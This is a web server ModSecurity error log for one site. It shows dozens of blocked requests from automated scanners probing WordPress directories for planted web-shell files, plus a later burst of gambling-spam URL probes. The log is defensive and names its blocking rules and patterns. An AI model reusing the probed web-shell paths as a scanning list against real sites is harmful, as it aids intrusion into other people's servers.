[Sun May 24 18:52:24.231013 2026] [:error] [pid 23497:tid 23519] [client 203.25.124.67:29101] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/user/"] [unique_id "ahLYaCPlV47QcYwd2v_-ZAAAAVM"]
[Sun May 24 18:52:25.129749 2026] [:error] [pid 49744:tid 49754] [client 203.25.124.35:46189] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade-temp-backup/photo-gallery/"] [unique_id "ahLYaTsE5kPdFpUbbHHTowAAAMg"]
[Sun May 24 18:52:26.129561 2026] [:error] [pid 49689:tid 49720] [client 203.25.124.213:60397] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/images/"] [unique_id "ahLYagaxiY3NxLUD97V3-gAAAII"]
[Sun May 24 18:52:27.129018 2026] [:error] [pid 49689:tid 49738] [client 203.25.124.68:36103] [client 203.25.124.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/mu-plugins/block-library/"] [unique_id "ahLYawaxiY3NxLUD97V3_QAAAJQ"]
[Sun May 24 18:52:28.125082 2026] [:error] [pid 49689:tid 49733] [client 203.25.124.52:44905] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/ai1wm-backups/ID3/"] [unique_id "ahLYbAaxiY3NxLUD97V4AQAAAI8"]
[Sun May 24 18:52:29.331877 2026] [:error] [pid 49689:tid 49718] [client 203.25.124.52:28651] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-links.php"] [unique_id "ahLYbQaxiY3NxLUD97V4BQAAAIA"]
[Sun May 24 18:52:30.524290 2026] [:error] [pid 49689:tid 49739] [client 203.25.124.58:21623] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/admin-ui/"] [unique_id "ahLYbgaxiY3NxLUD97V4DAAAAJU"]
[Sun May 24 18:52:31.238762 2026] [:error] [pid 49744:tid 49770] [client 203.25.124.67:46033] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/user_data/SafetyTips/"] [unique_id "ahLYbzsE5kPdFpUbbHHTqAAAANg"]
[Sun May 24 18:52:32.036104 2026] [:error] [pid 49775:tid 49779] [client 203.25.124.39:43519] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/ws88.php"] [unique_id "ahLYcIvZb8G6T8WpI1ieaQAAAAI"]
[Sun May 24 18:52:33.037579 2026] [:error] [pid 23497:tid 23508] [client 212.32.76.13:23507] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/zo.php"] [unique_id "ahLYcSPlV47QcYwd2v_-dAAAAUg"]
[Sun May 24 18:52:39.432790 2026] [:error] [pid 49688:tid 49701] [client 203.25.124.215:61803] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "ahLYd2YoQ9V6a_4pBsix3QAAAEo"]
[Sun May 24 18:52:41.329590 2026] [:error] [pid 23497:tid 23502] [client 203.25.124.73:58165] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/users.php"] [unique_id "ahLYeSPlV47QcYwd2v_-ggAAAUI"]
[Sun May 24 18:52:43.437081 2026] [:error] [pid 2639:tid 2644] [client 212.32.76.9:36375] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/100.php"] [unique_id "ahLYe0zQncQTd0Z0Oe9xeQAAAQM"]
[Sun May 24 18:52:43.930485 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.213:59857] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/zo.php"] [unique_id "ahLYe_4tQzoTxpuHBF7PMgAAAYw"]
[Sun May 24 18:52:45.333093 2026] [:error] [pid 23497:tid 23509] [client 203.25.124.73:46143] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wpxml.php"] [unique_id "ahLYfSPlV47QcYwd2v_-iQAAAUk"]
[Sun May 24 18:52:46.725306 2026] [:error] [pid 49744:tid 49758] [client 203.25.124.215:41705] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/upload.php"] [unique_id "ahLYfjsE5kPdFpUbbHHTsAAAAMw"]
[Sun May 24 18:52:53.030075 2026] [:error] [pid 49744:tid 49765] [client 203.25.124.40:42093] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/lato/wp-content/plugins/photo-gallery/admin/controllers/images/"] [unique_id "ahLYhTsE5kPdFpUbbHHTtAAAANM"]
[Sun May 24 18:52:54.031707 2026] [:error] [pid 49689:tid 49735] [client 203.25.124.64:52623] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/fonts/"] [unique_id "ahLYhgaxiY3NxLUD97V4MwAAAJE"]
[Sun May 24 18:53:00.826405 2026] [:error] [pid 49775:tid 49777] [client 203.25.124.33:58171] [client 203.25.124.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ahLYjIvZb8G6T8WpI1iedQAAAAA"]
[Sun May 24 18:53:01.927381 2026] [:error] [pid 49775:tid 49786] [client 212.32.76.5:54147] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/zdata.php"] [unique_id "ahLYjYvZb8G6T8WpI1ieeQAAAAk"]
[Sun May 24 18:53:02.831655 2026] [:error] [pid 41708:tid 41730] [client 203.25.124.213:52663] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/chosen.php"] [unique_id "ahLYjv4tQzoTxpuHBF7PPQAAAZQ"]
[Sun May 24 18:53:08.833483 2026] [:error] [pid 2639:tid 2655] [client 212.32.76.6:48787] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-pages.php"] [unique_id "ahLYlEzQncQTd0Z0Oe9xggAAAQ4"]
[Sun May 24 18:53:10.624150 2026] [:error] [pid 49688:tid 49697] [client 203.25.124.57:61729] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/wp-conflg.php"] [unique_id "ahLYlmYoQ9V6a_4pBsix4wAAAEY"]
[Sun May 24 18:53:12.037563 2026] [:error] [pid 41708:tid 41719] [client 203.25.124.65:43479] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/admins-dir.php"] [unique_id "ahLYmP4tQzoTxpuHBF7PSwAAAYk"]
[Sun May 24 18:53:14.025508 2026] [:error] [pid 4777:tid 4806] [client 212.32.76.6:52859] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.tag.lyrics3-class.php"] [unique_id "ahLYmvtPctoQOm4w5pN7kAAAAdg"]
[Sun May 24 18:53:20.228377 2026] [:error] [pid 4777:tid 4785] [client 203.25.124.67:38137] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-excerpt/themes/"] [unique_id "ahLYoPtPctoQOm4w5pN7mgAAAcM"]
[Sun May 24 18:53:21.431351 2026] [:error] [pid 4777:tid 4797] [client 203.25.124.52:37961] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/dt-the7/lib/jquery-sticky/theme-compat/"] [unique_id "ahLYoftPctoQOm4w5pN7ogAAAc8"]
[Sun May 24 18:53:22.921326 2026] [:error] [pid 49744:tid 49749] [client 203.25.124.73:47517] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/upgrade/"] [unique_id "ahLYojsE5kPdFpUbbHHT2QAAAMM"]
[Sun May 24 18:53:24.728882 2026] [:error] [pid 49775:tid 49778] [client 203.25.124.41:27223] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/pki-validation/"] [unique_id "ahLYpIvZb8G6T8WpI1ieigAAAAE"]
[Sun May 24 18:53:30.130124 2026] [:error] [pid 4777:tid 4800] [client 203.25.124.35:21831] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/admin.php"] [unique_id "ahLYqvtPctoQOm4w5pN7rgAAAdI"]
[Sun May 24 18:53:30.930594 2026] [:error] [pid 2639:tid 2648] [client 203.25.124.35:36009] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/"] [unique_id "ahLYqkzQncQTd0Z0Oe9xjQAAAQc"]
[Sun May 24 18:53:31.931838 2026] [:error] [pid 4777:tid 4806] [client 212.32.76.2:49187] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins-off/core.php"] [unique_id "ahLYq_tPctoQOm4w5pN7sgAAAdg"]
[Sun May 24 18:53:33.025590 2026] [:error] [pid 23497:tid 23519] [client 203.25.124.42:42905] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/my-custom-theme/config.php"] [unique_id "ahLYrSPlV47QcYwd2v_-wgAAAVM"]
[Sun May 24 18:53:33.943878 2026] [:error] [pid 23497:tid 23518] [client 212.32.76.5:60231] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme/config.php"] [unique_id "ahLYrSPlV47QcYwd2v_-wwAAAVI"]
[Sun May 24 18:53:35.035430 2026] [:error] [pid 4777:tid 4783] [client 212.32.76.7:52859] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/my-custom-theme/admin.php"] [unique_id "ahLYr_tPctoQOm4w5pN7uAAAAcE"]
[Sun May 24 18:53:41.230042 2026] [:error] [pid 23497:tid 23511] [client 203.25.124.54:60523] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/min.php"] [unique_id "ahLYtSPlV47QcYwd2v_-2QAAAUs"]
[Sun May 24 18:53:42.631836 2026] [:error] [pid 4777:tid 4791] [client 203.25.124.49:59887] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/config.php"] [unique_id "ahLYtvtPctoQOm4w5pN7zgAAAck"]
[Sun May 24 18:53:49.120523 2026] [:error] [pid 4777:tid 4788] [client 203.25.124.37:38527] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/man.php"] [unique_id "ahLYvftPctoQOm4w5pN8KwAAAcY"]
[Sun May 24 18:53:51.128107 2026] [:error] [pid 41708:tid 41732] [client 203.25.124.2:27301] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/pullquote/1.php"] [unique_id "ahLYv_4tQzoTxpuHBF7PYAAAAZY"]
[Sun May 24 18:53:52.131175 2026] [:error] [pid 23497:tid 23518] [client 203.25.124.47:41711] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/oceanwp/sass/base/1.php"] [unique_id "ahLYwCPlV47QcYwd2v__BgAAAVI"]
[Sun May 24 18:53:54.040743 2026] [:error] [pid 41708:tid 41734] [client 203.25.124.64:49429] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks-other.php"] [unique_id "ahLYwv4tQzoTxpuHBF7PZAAAAZg"]
[Sun May 24 18:53:56.226974 2026] [:error] [pid 49689:tid 49735] [client 212.32.76.7:30935] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-wlx.php"] [unique_id "ahLYxAaxiY3NxLUD97V4fAAAAJE"]
[Sun May 24 18:53:57.236577 2026] [:error] [pid 23497:tid 23501] [client 203.25.124.31:31259] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/media-upload-double.php"] [unique_id "ahLYxSPlV47QcYwd2v__DwAAAUE"]
[Sun May 24 18:53:58.129023 2026] [:error] [pid 4777:tid 4788] [client 212.32.76.7:28929] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-wp-filesystem-ftpsockets-more.php"] [unique_id "ahLYxvtPctoQOm4w5pN8WwAAAcY"]
[Sun May 24 18:53:59.230063 2026] [:error] [pid 49689:tid 49718] [client 203.25.124.36:37185] [client 203.25.124.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/content-"] [unique_id "ahLYxwaxiY3NxLUD97V4fQAAAIA"]
[Sun May 24 18:54:00.532094 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.35:23755] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "ahLYyP4tQzoTxpuHBF7PbAAAAYw"]
[Sun May 24 20:03:13.660964 2026] [:error] [pid 23497:tid 23518] [client 135.181.213.219:7902] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ahLpASPlV47QcYwd2v8QDAAAAVI"]
[Sun May 24 20:03:15.648445 2026] [:error] [pid 49688:tid 49691] [client 135.181.213.219:7908] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ahLpA2YoQ9V6a_4pBsi6SgAAAEA"]
[Sun May 24 20:03:17.618376 2026] [:error] [pid 49688:tid 49715] [client 135.181.213.219:7918] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ahLpBWYoQ9V6a_4pBsi6UgAAAFg"]
[Sun May 24 20:03:19.595658 2026] [:error] [pid 41708:tid 41714] [client 135.181.213.219:7928] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ahLpB_4tQzoTxpuHBF7fegAAAYQ"]
[Sun May 24 20:03:21.576959 2026] [:error] [pid 49775:tid 49792] [client 135.181.213.219:18032] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ahLpCYvZb8G6T8WpI1iwtAAAAA8"]
[Sun May 24 20:03:23.543311 2026] [:error] [pid 49744:tid 49755] [client 135.181.213.219:18038] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ahLpCzsE5kPdFpUbbHHdpQAAAMk"]
[Sun May 24 20:03:25.521760 2026] [:error] [pid 41708:tid 41719] [client 135.181.213.219:18054] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ahLpDf4tQzoTxpuHBF7fgwAAAYk"]
[Sun May 24 20:03:27.486593 2026] [:error] [pid 4777:tid 4798] [client 135.181.213.219:18066] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ahLpD_tPctoQOm4w5pOP5wAAAdA"]
